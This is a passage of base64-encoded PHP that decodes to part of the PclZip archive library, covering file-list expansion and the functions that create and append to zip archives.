XJuIFBjbFppcDo6ZXJyb3JDb2RlKCk7CiAgICAgIH0KCiAgICAgIC8vIC0tLS0tIExvb2sgZm9yIG1hbmRhdG9yeSBvcHRpb25zCiAgICAgIGlmICgkdl9yZXF1ZXN0ZWRfb3B0aW9ucyAhPT0gZmFsc2UpIHsKICAgICAgICBmb3IgKCRrZXk9cmVzZXQoJHZfcmVxdWVzdGVkX29wdGlvbnMpOyAka2V5PWtleSgkdl9yZXF1ZXN0ZWRfb3B0aW9ucyk7ICRrZXk9bmV4dCgkdl9yZXF1ZXN0ZWRfb3B0aW9ucykpIHsKICAgICAgICAgIC8vIC0tLS0tIExvb2sgZm9yIG1hbmRhdG9yeSBvcHRpb24KICAgICAgICAgIGlmICgkdl9yZXF1ZXN0ZWRfb3B0aW9uc1ska2V5XSA9PSAnbWFuZGF0b3J5JykgewogICAgICAgICAgICAvLyAtLS0tLSBMb29rIGlmIHByZXNlbnQKICAgICAgICAgICAgaWYgKCFpc3NldCgkcF9maWxlX2xpc3RbJGtleV0pKSB7CiAgICAgICAgICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9JTlZBTElEX1BBUkFNRVRFUiwgIk1pc3NpbmcgbWFuZGF0b3J5IHBhcmFtZXRlciAiLlBjbFppcFV0aWxPcHRpb25UZXh0KCRrZXkpLiIoIi4ka2V5LiIpIik7CiAgICAgICAgICAgICAgcmV0dXJuIFBjbFppcDo6ZXJyb3JDb2RlKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgIH0KICAgICAgICB9CiAgICAgIH0KCiAgICAvLyBlbmQgZm9yZWFjaAogICAgfQoKICAgIC8vIC0tLS0tIFJldHVybgogICAgcmV0dXJuICR2X3Jlc3VsdDsKICB9CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAvLyBGdW5jdGlvbiA6IHByaXZGaWxlRGVzY3JFeHBhbmQoKQogIC8vIERlc2NyaXB0aW9uIDoKICAvLyAgIFRoaXMgbWV0aG9kIGxvb2sgZm9yIGVhY2ggaXRlbSBvZiB0aGUgbGlzdCB0byBzZWUgaWYgaXRzIGEgZmlsZSwgYSBmb2xkZXIKICAvLyAgIG9yIGEgc3RyaW5nIHRvIGJlIGFkZGVkIGFzIGZpbGUuIEZvciBhbnkgb3RoZXIgdHlwZSBvZiBmaWxlcyAobGluaywgb3RoZXIpCiAgLy8gICBqdXN0IGlnbm9yZSB0aGUgaXRlbS4KICAvLyAgIFRoZW4gcHJlcGFyZSB0aGUgaW5mb3JtYXRpb24gdGhhdCB3aWxsIGJlIHN0b3JlZCBmb3IgdGhhdCBmaWxlLgogIC8vICAgV2hlbiBpdHMgYSBmb2xkZXIsIGV4cGFuZCB0aGUgZm9sZGVyIHdpdGggYWxsIHRoZSBmaWxlcyB0aGF0IGFyZSBpbiB0aGF0CiAgLy8gICBmb2xkZXIgKHJlY3Vyc2l2ZWx5KS4KICAvLyBQYXJhbWV0ZXJzIDoKICAvLyBSZXR1cm4gVmFsdWVzIDoKICAvLyAgIDEgb24gc3VjY2Vzcy4KICAvLyAgIDAgb24gZmFpbHVyZS4KICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIGZ1bmN0aW9uIHByaXZGaWxlRGVzY3JFeHBhbmQoJiRwX2ZpbGVkZXNjcl9saXN0LCAmJHBfb3B0aW9ucykKICB7CiAgICAkdl9yZXN1bHQ9MTsKCiAgICAvLyAtLS0tLSBDcmVhdGUgYSByZXN1bHQgbGlzdAogICAgJHZfcmVzdWx0X2xpc3QgPSBhcnJheSgpOwoKICAgIC8vIC0tLS0tIExvb2sgZWFjaCBlbnRyeQogICAgZm9yICgkaT0wOyAkaTxzaXplb2YoJHBfZmlsZWRlc2NyX2xpc3QpOyAkaSsrKSB7CgogICAgICAvLyAtLS0tLSBHZXQgZmlsZWRlc2NyCiAgICAgICR2X2Rlc2NyID0gJHBfZmlsZWRlc2NyX2xpc3RbJGldOwoKICAgICAgLy8gLS0tLS0gUmVkdWNlIHRoZSBmaWxlbmFtZQogICAgICAkdl9kZXNjclsnZmlsZW5hbWUnXSA9IFBjbFppcFV0aWxUcmFuc2xhdGVXaW5QYXRoKCR2X2Rlc2NyWydmaWxlbmFtZSddLCBmYWxzZSk7CiAgICAgICR2X2Rlc2NyWydmaWxlbmFtZSddID0gUGNsWmlwVXRpbFBhdGhSZWR1Y3Rpb24oJHZfZGVzY3JbJ2ZpbGVuYW1lJ10pOwoKICAgICAgLy8gLS0tLS0gTG9vayBmb3IgcmVhbCBmaWxlIG9yIGZvbGRlcgogICAgICBpZiAoZmlsZV9leGlzdHMoJHZfZGVzY3JbJ2ZpbGVuYW1lJ10pKSB7CiAgICAgICAgaWYgKEBpc19maWxlKCR2X2Rlc2NyWydmaWxlbmFtZSddKSkgewogICAgICAgICAgJHZfZGVzY3JbJ3R5cGUnXSA9ICdmaWxlJzsKICAgICAgICB9CiAgICAgICAgZWxzZSBpZiAoQGlzX2Rpcigkdl9kZXNjclsnZmlsZW5hbWUnXSkpIHsKICAgICAgICAgICR2X2Rlc2NyWyd0eXBlJ10gPSAnZm9sZGVyJzsKICAgICAgICB9CiAgICAgICAgZWxzZSBpZiAoQGlzX2xpbmsoJHZfZGVzY3JbJ2ZpbGVuYW1lJ10pKSB7CiAgICAgICAgICAvLyBza2lwCiAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAvLyBza2lwCiAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgIH0KCiAgICAgIC8vIC0tLS0tIExvb2sgZm9yIHN0cmluZyBhZGRlZCBhcyBmaWxlCiAgICAgIGVsc2UgaWYgKGlzc2V0KCR2X2Rlc2NyWydjb250ZW50J10pKSB7CiAgICAgICAgJHZfZGVzY3JbJ3R5cGUnXSA9ICd2aXJ0dWFsX2ZpbGUnOwogICAgICB9CgogICAgICAvLyAtLS0tLSBNaXNzaW5nIGZpbGUKICAgICAgZWxzZSB7CiAgICAgICAgLy8gLS0tLS0gRXJyb3IgbG9nCiAgICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9NSVNTSU5HX0ZJTEUsICJGaWxlICciLiR2X2Rlc2NyWydmaWxlbmFtZSddLiInIGRvZXMgbm90IGV4aXN0Iik7CgogICAgICAgIC8vIC0tLS0tIFJldHVybgogICAgICAgIHJldHVybiBQY2xaaXA6OmVycm9yQ29kZSgpOwogICAgICB9CgogICAgICAvLyAtLS0tLSBDYWxjdWxhdGUgdGhlIHN0b3JlZCBmaWxlbmFtZQogICAgICAkdGhpcy0+cHJpdkNhbGN1bGF0ZVN0b3JlZEZpbGVuYW1lKCR2X2Rlc2NyLCAkcF9vcHRpb25zKTsKCiAgICAgIC8vIC0tLS0tIEFkZCB0aGUgZGVzY3JpcHRvciBpbiByZXN1bHQgbGlzdAogICAgICAkdl9yZXN1bHRfbGlzdFtzaXplb2YoJHZfcmVzdWx0X2xpc3QpXSA9ICR2X2Rlc2NyOwoKICAgICAgLy8gLS0tLS0gTG9vayBmb3IgZm9sZGVyCiAgICAgIGlmICgkdl9kZXNjclsndHlwZSddID09ICdmb2xkZXInKSB7CiAgICAgICAgLy8gLS0tLS0gTGlzdCBvZiBpdGVtcyBpbiBmb2xkZXIKICAgICAgICAkdl9kaXJsaXN0X2Rlc2NyID0gYXJyYXkoKTsKICAgICAgICAkdl9kaXJsaXN0X25iID0gMDsKICAgICAgICBpZiAoJHZfZm9sZGVyX2hhbmRsZXIgPSBAb3BlbmRpcigkdl9kZXNjclsnZmlsZW5hbWUnXSkpIHsKICAgICAgICAgIHdoaWxlICgoJHZfaXRlbV9oYW5kbGVyID0gQHJlYWRkaXIoJHZfZm9sZGVyX2hhbmRsZXIpKSAhPT0gZmFsc2UpIHsKCiAgICAgICAgICAgIC8vIC0tLS0tIFNraXAgJy4nIGFuZCAnLi4nCiAgICAgICAgICAgIGlmICgoJHZfaXRlbV9oYW5kbGVyID09ICcuJykgfHwgKCR2X2l0ZW1faGFuZGxlciA9PSAnLi4nKSkgewogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIC0tLS0tIENvbXBvc2UgdGhlIGZ1bGwgZmlsZW5hbWUKICAgICAgICAgICAgJHZfZGlybGlzdF9kZXNjclskdl9kaXJsaXN0X25iXVsnZmlsZW5hbWUnXSA9ICR2X2Rlc2NyWydmaWxlbmFtZSddLicvJy4kdl9pdGVtX2hhbmRsZXI7CgogICAgICAgICAgICAvLyAtLS0tLSBMb29rIGZvciBkaWZmZXJlbnQgc3RvcmVkIGZpbGVuYW1lCiAgICAgICAgICAgIC8vIEJlY2F1c2UgdGhlIG5hbWUgb2YgdGhlIGZvbGRlciB3YXMgY2hhbmdlZCwgdGhlIG5hbWUgb2YgdGhlCiAgICAgICAgICAgIC8vIGZpbGVzL3N1Yi1mb2xkZXJzIGFsc28gY2hhbmdlCiAgICAgICAgICAgIGlmICgoJHZfZGVzY3JbJ3N0b3JlZF9maWxlbmFtZSddICE9ICR2X2Rlc2NyWydmaWxlbmFtZSddKQogICAgICAgICAgICAgICAgICYmICghaXNzZXQoJHBfb3B0aW9uc1tQQ0xaSVBfT1BUX1JFTU9WRV9BTExfUEFUSF0pKSkgewogICAgICAgICAgICAgIGlmICgkdl9kZXNjclsnc3RvcmVkX2ZpbGVuYW1lJ10gIT0gJycpIHsKICAgICAgICAgICAgICAgICR2X2Rpcmxpc3RfZGVzY3JbJHZfZGlybGlzdF9uYl1bJ25ld19mdWxsX25hbWUnXSA9ICR2X2Rlc2NyWydzdG9yZWRfZmlsZW5hbWUnXS4nLycuJHZfaXRlbV9oYW5kbGVyOwogICAgICAgICAgICAgIH0KICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICR2X2Rpcmxpc3RfZGVzY3JbJHZfZGlybGlzdF9uYl1bJ25ld19mdWxsX25hbWUnXSA9ICR2X2l0ZW1faGFuZGxlcjsKICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICR2X2Rpcmxpc3RfbmIrKzsKICAgICAgICAgIH0KCiAgICAgICAgICBAY2xvc2VkaXIoJHZfZm9sZGVyX2hhbmRsZXIpOwogICAgICAgIH0KICAgICAgICBlbHNlIHsKICAgICAgICAgIC8vIFRCQyA6IHVuYWJsZSB0byBvcGVuIGZvbGRlciBpbiByZWFkIG1vZGUKICAgICAgICB9CgogICAgICAgIC8vIC0tLS0tIEV4cGFuZCBlYWNoIGVsZW1lbnQgb2YgdGhlIGxpc3QKICAgICAgICBpZiAoJHZfZGlybGlzdF9uYiAhPSAwKSB7CiAgICAgICAgICAvLyAtLS0tLSBFeHBhbmQKICAgICAgICAgIGlmICgoJHZfcmVzdWx0ID0gJHRoaXMtPnByaXZGaWxlRGVzY3JFeHBhbmQoJHZfZGlybGlzdF9kZXNjciwgJHBfb3B0aW9ucykpICE9IDEpIHsKICAgICAgICAgICAgcmV0dXJuICR2X3Jlc3VsdDsKICAgICAgICAgIH0KCiAgICAgICAgICAvLyAtLS0tLSBDb25jYXQgdGhlIHJlc3VsdGluZyBsaXN0CiAgICAgICAgICAkdl9yZXN1bHRfbGlzdCA9IGFycmF5X21lcmdlKCR2X3Jlc3VsdF9saXN0LCAkdl9kaXJsaXN0X2Rlc2NyKTsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgfQoKICAgICAgICAvLyAtLS0tLSBGcmVlIGxvY2FsIGFycmF5CiAgICAgICAgdW5zZXQoJHZfZGlybGlzdF9kZXNjcik7CiAgICAgIH0KICAgIH0KCiAgICAvLyAtLS0tLSBHZXQgdGhlIHJlc3VsdCBsaXN0CiAgICAkcF9maWxlZGVzY3JfbGlzdCA9ICR2X3Jlc3VsdF9saXN0OwoKICAgIC8vIC0tLS0tIFJldHVybgogICAgcmV0dXJuICR2X3Jlc3VsdDsKICB9CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAvLyBGdW5jdGlvbiA6IHByaXZDcmVhdGUoKQogIC8vIERlc2NyaXB0aW9uIDoKICAvLyBQYXJhbWV0ZXJzIDoKICAvLyBSZXR1cm4gVmFsdWVzIDoKICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIGZ1bmN0aW9uIHByaXZDcmVhdGUoJHBfZmlsZWRlc2NyX2xpc3QsICYkcF9yZXN1bHRfbGlzdCwgJiRwX29wdGlvbnMpCiAgewogICAgJHZfcmVzdWx0PTE7CiAgICAkdl9saXN0X2RldGFpbCA9IGFycmF5KCk7CgogICAgLy8gLS0tLS0gTWFnaWMgcXVvdGVzIHRyaWNrCiAgICAkdGhpcy0+cHJpdkRpc2FibGVNYWdpY1F1b3RlcygpOwoKICAgIC8vIC0tLS0tIE9wZW4gdGhlIGZpbGUgaW4gd3JpdGUgbW9kZQogICAgaWYgKCgkdl9yZXN1bHQgPSAkdGhpcy0+cHJpdk9wZW5GZCgnd2InKSkgIT0gMSkKICAgIHsKICAgICAgLy8gLS0tLS0gUmV0dXJuCiAgICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgICB9CgogICAgLy8gLS0tLS0gQWRkIHRoZSBsaXN0IG9mIGZpbGVzCiAgICAkdl9yZXN1bHQgPSAkdGhpcy0+cHJpdkFkZExpc3QoJHBfZmlsZWRlc2NyX2xpc3QsICRwX3Jlc3VsdF9saXN0LCAkcF9vcHRpb25zKTsKCiAgICAvLyAtLS0tLSBDbG9zZQogICAgJHRoaXMtPnByaXZDbG9zZUZkKCk7CgogICAgLy8gLS0tLS0gTWFnaWMgcXVvdGVzIHRyaWNrCiAgICAkdGhpcy0+cHJpdlN3YXBCYWNrTWFnaWNRdW90ZXMoKTsKCiAgICAvLyAtLS0tLSBSZXR1cm4KICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgfQogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgLy8gRnVuY3Rpb24gOiBwcml2QWRkKCkKICAvLyBEZXNjcmlwdGlvbiA6CiAgLy8gUGFyYW1ldGVycyA6CiAgLy8gUmV0dXJuIFZhbHVlcyA6CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICBmdW5jdGlvbiBwcml2QWRkKCRwX2ZpbGVkZXNjcl9saXN0LCAmJHBfcmVzdWx0X2xpc3QsICYkcF9vcHRpb25zKQogIHsKICAgICR2X3Jlc3VsdD0xOwogICAgJHZfbGlzdF9kZXRhaWwgPSBhcnJheSgpOwoKICAgIC8vIC0tLS0tIExvb2sgaWYgdGhlIGFyY2hpdmUgZXhpc3RzIG9yIGlzIGVtcHR5CiAgICBpZiAoKCFpc19maWxlKCR0aGlzLT56aXBuYW1lKSkgfHwgKGZpbGVzaXplKCR0aGlzLT56aXBuYW1lKSA9PSAwKSkKICAgIHsKCiAgICAgIC8vIC0tLS0tIERvIGEgY3JlYXRlCiAgICAgICR2X3Jlc3VsdCA9ICR0aGlzLT5wcml2Q3JlYXRlKCRwX2ZpbGVkZXNjcl9saXN0LCAkcF9yZXN1bHRfbGlzdCwgJHBfb3B0aW9ucyk7CgogICAgICAvLyAtLS0tLSBSZXR1cm4KICAgICAgcmV0dXJuICR2X3Jlc3VsdDsKICAgIH0KICAgIC8vIC0tLS0tIE1hZ2ljIHF1b3RlcyB0cmljawogICAgJHRoaXMtPnByaXZEaXNhYmxlTWFnaWNRdW90ZXMoKTsKCiAgICAvLyAtLS0tLSBPcGVuIHRoZSB6aXAgZmlsZQogICAgaWYgKCgkdl9yZXN1bHQ9JHRoaXMtPnByaXZPcGVuRmQoJ3JiJykpICE9IDEpCiAgICB7CiAgICAgIC8vIC0tLS0tIE1hZ2ljIHF1b3RlcyB0cmljawogICAgICAkdGhpcy0+cHJpdlN3YXBCYWNrTWFnaWNRdW90ZXMoKTsKCiAgICAgIC8vIC0tLS0tIFJldHVybgogICAgICByZXR1cm4gJHZfcmVzdWx0OwogICAgfQoKICAgIC8vIC0tLS0tIFJlYWQgdGhlIGNlbnRyYWwgZGlyZWN0b3J5IGluZm9ybWF0aW9ucwogICAgJHZfY2VudHJhbF9kaXIgPSBhcnJheSgpOwogICAgaWYgKCgkdl9yZXN1bHQgPSAkdGhpcy0+cHJpdlJlYWRFbmRDZW50cmFsRGlyKCR2X2NlbnRyYWxfZGlyKSkgIT0gMSkKICAgIHsKICAgICAgJHRoaXMtPnByaXZDbG9zZUZkKCk7CiAgICAgICR0aGlzLT5wcml2U3dhcEJhY2tNYWdpY1F1b3RlcygpOwogICAgICByZXR1cm4gJHZfcmVzdWx0OwogICAgfQoKICAgIC8vIC0tLS0tIEdvIHRvIGJlZ2lubmluZyBvZiBGaWxlCiAgICBAcmV3aW5kKCR0aGlzLT56aXBfZmQpOwoKICAgIC8vIC0tLS0tIENyZWF0ZXMgYSB0ZW1wb3JheSBmaWxlCiAgICAkdl96aXBfdGVtcF9uYW1lID0gUENMWklQX1RFTVBPUkFSWV9ESVIudW5pcWlkKCdwY2x6aXAtJykuJy50bXAnOwoKICAgIC8vIC0tLS0tIE9wZW4gdGhlIHRlbXBvcmFyeSBmaWxlIGluIHdyaXRlIG1vZGUKICAgIGlmICgoJHZfemlwX3RlbXBfZmQgPSBAZm9wZW4oJHZfemlwX3RlbXBfbmFtZSwgJ3diJykpID09IDApCiAgICB7CiAgICAgICR0aGlzLT5wcml2Q2xvc2VGZCgpOwogICAgICAkdGhpcy0+cHJpdlN3YXBCYWNrTWFnaWNRdW90ZXMoKTsKCiAgICAgIFBjbFppcDo6cHJpdkVycm9yTG9nKFBDTFpJUF9FUlJfUkVBRF9PUEVOX0ZBSUwsICdVbmFibGUgdG8gb3BlbiB0ZW1wb3JhcnkgZmlsZSBcJycuJHZfemlwX3RlbXBfbmFtZS4nXCcgaW4gYmluYXJ5IHdyaXRlIG1vZGUnKTsKCiAgICAgIC8vIC0tLS0tIFJldHVybgogICAgICByZXR1cm4gUGNsWmlwOjplcnJvckNvZGUoKTsKICAgIH0KCiAgICAvLyAtLS0tLSBDb3B5IHRoZSBmaWxlcyBmcm9tIHRoZSBhcmNoaXZlIHRvIHRoZSB0ZW1wb3JhcnkgZmlsZQogICAgLy8gVEJDIDogSGVyZSBJIHNob3VsZCBiZXR0ZXIgYXBwZW5kIHRoZSBmaWxlIGFuZCBnbyBiYWNrIHRvIGVyYXNlIHRoZSBjZW50cmFsIGRpcgogICAgJHZfc2l6ZSA9ICR2X2NlbnRyYWxfZGlyWydvZmZzZXQnXTsKICAgIHdoaWxlICgkdl9zaXplICE9IDApCiAgICB7CiAgICAgICR2X3JlYWRfc2l6ZSA9ICgkdl9zaXplIDwgUENMWklQX1JFQURfQkxPQ0tfU0laRSA/ICR2X3NpemUgOiBQQ0xaSVBfUkVBRF9CTE9DS19TSVpFKTsKICAgICAgJHZfYnVmZmVyID0gZnJlYWQoJHRoaXMtPnppcF9mZCwgJHZfcmVhZF9zaXplKTsKICAgICAgQGZ3cml0ZSgkdl96aXBfdGVtcF9mZCwgJHZfYnVmZmVyLCAkdl9yZWFkX3NpemUpOwogICAgICAkdl9zaXplIC09ICR2X3JlYWRfc2l6ZTsKICAgIH0KCiAgICAvLyAtLS0tLSBTd2FwIHRoZSBmaWxlIGRlc2NyaXB0b3IKICAgIC8vIEhlcmUgaXMgYSB0cmljayA6IEkgc3dhcCB0aGUgdGVtcG9yYXJ5IGZkIHdpdGggdGhlIHppcCBmZCwgaW4gb3JkZXIgdG8gdXNlCiAgICAvLyB0aGUgZm9sbG93aW5nIG1ldGhvZHMgb24gdGhlIHRlbXBvcmFyeSBmaWwgYW5kIG5vdCB0aGUgcmVhbCBhcmNoaXZlCiAgICAkdl9zd2FwID0gJHRoaXMtPnppcF9mZDsKICAgICR0aGlzLT56aXBfZmQgPSAkdl96aXBfdGVtcF9mZDsKICAgICR2X3ppcF90ZW1wX2ZkID0gJHZfc3dhcDsKCiAgICAvLyAtLS0tLSBBZGQgdGhlIGZpbGVzCiAgICAkdl9oZWFkZXJfbGlzdCA9IGFycmF5KCk7CiAgICBpZiAoKCR2X3Jlc3VsdCA9ICR0aGlzLT5wcml2QWRkRmlsZUxpc3QoJHBfZmlsZWRlc2NyX2xpc3QsICR2X2hlYWRlcl9saXN0LCAkcF9vcHRpb25zKSkgIT0gMSkKICAgIHsKICAgICAgZmNsb3NlKCR2X3ppcF90ZW1wX2ZkKTsKICAgICAgJHRoaXMtPnByaXZDbG9zZUZkKCk7CiAgICAgIEB1bmxpbmsoJHZfemlwX3RlbXBfbmFtZSk7CiAgICAgICR0aGlzLT5wcml2U3dhcEJhY2tNYWdpY1F1b3RlcygpOwoKICAgICAgLy8gLS0tLS0gUmV0dXJuCiAgICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgICB9CgogICAgLy8gLS0tLS0gU3RvcmUgdGhlIG9mZnNldCBvZiB0aGUgY2VudHJhbCBkaXIKICAgICR2X29mZnNldCA9IEBmdGVsbCgkdGhpcy0+emlwX2ZkKTsKCiAgICAvLyAtLS0tLSBDb3B5IHRoZSBibG9jayBvZiBmaWxlIGhlYWRlcnMgZnJvbSB0aGUgb2xkIGFyY2hpdmUKICAgICR2X3NpemUgPSAkdl9jZW50cmFsX2Rpclsnc2l6ZSddOwogICAgd2hpbGUgKCR2X3NpemUgIT0gMCkKICAgIHsKICAgICAgJHZfcmVhZF9zaXplID0gKCR2X3NpemUgPCBQQ0xaSVBfUkVBRF9CTE9DS19TSVpFID8gJHZfc2l6ZSA6IFBDTFpJUF9SRUFEX0JMT0NLX1NJWkUpOwogICAgICAkdl9idWZmZXIgPSBAZnJlYWQoJHZfemlwX3RlbXBfZmQsICR2X3JlYWRfc2l6ZSk7CiAgICAgIEBmd3JpdGUoJHRoaXMtPnppcF9mZCwgJHZfYnVmZmVyLCAkdl9yZWFkX3NpemUpOwogICAgICAkdl9zaXplIC09ICR2X3JlYWRfc2l6ZTsKICAgIH0KCiAgICAvLyAtLS0tLSBDcmVhdGUgdGhlIENlbnRyYWwgRGlyIGZpbGVzIGhlYWRlcgogICAgZm9yICgkaT0wLCAkdl9jb3VudD0wOyAkaTxzaXplb2YoJHZfaGVhZGVyX2xpc3QpOyAkaSsrKQogICAgewogICAgICAvLyAtLS0tLSBDcmVhdGUgdGhlIGZpbGUgaGVhZGVyCiAgICAgIGlmICgkdl9oZWFkZXJfbGlzdFskaV1bJ3N0YXR1cyddID09ICdvaycpIHsKICAgICAgICBpZiAoKCR2X3Jlc3VsdCA9ICR0aGlzLT5wcml2V3JpdGVDZW50cmFsRmlsZUhlYWRlcigkdl9oZWFkZXJfbGlzdFskaV0pKSAhPSAxKSB7CiAgICAgICAgICBmY2xvc2UoJHZfemlwX3RlbXBfZmQpOwogICAgICAgICAgJHRoaXMtPnByaXZDbG9zZUZkKCk7CiAgICAgICAgICBAdW5saW5rKCR2X3ppcF90ZW1wX25hbWUpOwogICAgICAgICAgJHRoaXMtPnByaXZTd2FwQmFja01hZ2ljUXVvdGVzKCk7CgogICAgICAgICAgLy8gLS0tLS0gUmV0dXJuCiAgICAgICAgICByZXR1cm4gJHZfcmVzdWx0OwogICAgICAgIH0KICAgICAgICAkdl9jb3VudCsrOwogICAgICB9CgogICAgICAvLyAtLS0tLSBUcmFuc2Zvcm0gdGhlIGhlYWRlciB0byBhICd1c2FibGUnIGluZm8KICAgICAgJHRoaXMtPnByaXZDb252ZXJ0SGVhZGVyMkZpbGVJbmZvKCR2X2hlYWRlcl9saXN0WyRpXSwgJHBfcmVzdWx0X2xpc3RbJGldKTsKICAgIH0KCiAgICAvLyAtLS0tLSBaaXAgZmlsZSBjb21tZW50CiAgICAkdl9jb21tZW50ID0gJHZfY2VudHJhbF9kaXJbJ2NvbW1lbnQnXTsKICAgIGlmIChpc3NldCgkcF9vcHRpb25zW1BDTFpJUF9PUFRfQ09NTUVOVF0pKSB7CiAgICAgICR2X2NvbW1lbnQgPSAkcF9vcHRpb25zW1BDTFpJUF9PUFRfQ09NTUVOVF07CiAgICB9CiAgICBpZiAoaXNzZXQoJHBfb3B0aW9uc1tQQ0xaSVBfT1BUX0FERF9DT01NRU5UXSkpIHsKICAgICAgJHZfY29tbWVudCA9ICR2X2NvbW1lbnQuJHBfb3B0aW9uc1tQQ0xaSVBfT1BUX0FERF9DT01NRU5UXTsKICAgIH0KICAgIGlmIChpc3NldCgkcF9vcHRpb25zW1BDTFpJUF9PUFRfUFJFUEVORF9DT01NRU5UXSkpIHsKICAgICAgJHZfY29tbWVudCA9ICRwX29wdGlvbnNbUENMWklQX09QVF9QUkVQRU5EX0NPTU1FTlRdLiR2X2NvbW1lbnQ7CiAgICB9CgogICAgLy8gLS0tLS0gQ2FsY3VsYXRlIHRoZSBzaXplIG9mIHRoZSBjZW50cmFsIGhlYWRlcgogICAgJHZfc2l6ZSA9IEBmdGVsbCgkdGhpcy0+emlwX2ZkKS0kdl9vZmZzZXQ7CgogICAgLy8gLS0tLS0gQ3JlYXRlIHRoZSBjZW50cmFsIGRpciBmb290ZXIKICAgIGlmICgoJHZfcmVzdWx0ID0gJHRoaXMtPnByaXZXcml0ZUNlbnRyYWxIZWFkZXIoJHZfY291bnQrJHZfY2VudHJhbF9kaXJbJ2VudHJpZXMnXSwgJHZfc2l6ZSwgJHZfb2Zmc2V0LCAkdl9jb21tZW50KSkgIT0gMSkKICAgIHsKICAgICAgLy8gLS0tLS0gUmVzZXQgdGhlIGZpbGUgbGlzdAogICAgICB1bnNldCgkdl9oZWFkZXJfbGlzdCk7CiAgICAgICR0aGlzLT5wcml2U3dhcEJhY2tNYWdpY1F1b3RlcygpOwoKICAgICAgLy8gLS0tLS0gUmV0dXJuCiAgICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgICB9CgogICAgLy8gLS0tLS0gU3dhcCBiYWNrIHRoZSBmaWxlIGRlc2NyaXB0b3IKICAgICR2X3N3YXAgPSAkdGhpcy0+emlwX2ZkOwogICAgJHRoaXMtPnppcF9mZCA9ICR2X3ppcF90ZW1wX2ZkOwogICAgJHZfemlwX3RlbXBfZmQgPSAkdl9zd2FwOwoKICAgIC8vIC0tLS0tIENsb3NlCiAgICAkdGhpcy0+cHJpdkNsb3NlRmQoKTsKCiAgICAvLyAtLS0tLSBDbG9zZSB0aGUgdGVtcG9yYXJ5IGZpbGUKICAgIEBmY2xvc2UoJHZfemlwX3RlbXBfZmQpOwoKICAgIC8vIC0tLS0tIE1hZ2ljIHF1b3RlcyB0cmljawogICAgJHRoaXMtPnByaXZTd2FwQmFja01hZ2ljUXVvdGVzKCk7CgogICAgLy8gLS0tLS0gRGVsZXRlIHRoZSB6aXAgZmlsZQogICAgLy8gVEJDIDogSSBzaG91bGQgdGVzdCB0aGUgcmVzdWx0IC4uLgogICAgQHVubGluaygkdGhpcy0+emlwbmFtZSk7CgogICAgLy8gLS0tLS0gUmVuYW1lIHRoZSB0ZW1wb3JhcnkgZmlsZQogICAgLy8gVEJDIDogSSBzaG91bGQgdGVzdCB0aGUgcmVzdWx0IC4uLgogICAgLy9AcmVuYW1lKCR2X3ppcF90ZW1wX25hbWUsICR0aGlzLT56aXBuYW1lKTsKICAgIFBjbFppcFV0aWxSZW5hbWUoJHZfemlwX3RlbXBfbmFtZSwgJHRoaXMtPnppcG5hbWUpOwoKICAgIC8vIC0tLS0tIFJldHVybgogICAgcmV0dXJuICR2X3Jlc3VsdDsKICB9CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAvLyBGdW5jdGlvbiA6IHByaXZPcGVuRmQoKQogIC8vIERlc2NyaXB0aW9uIDoKICAvLyBQYXJhbWV0ZXJzIDoKICAvLyAtLS0t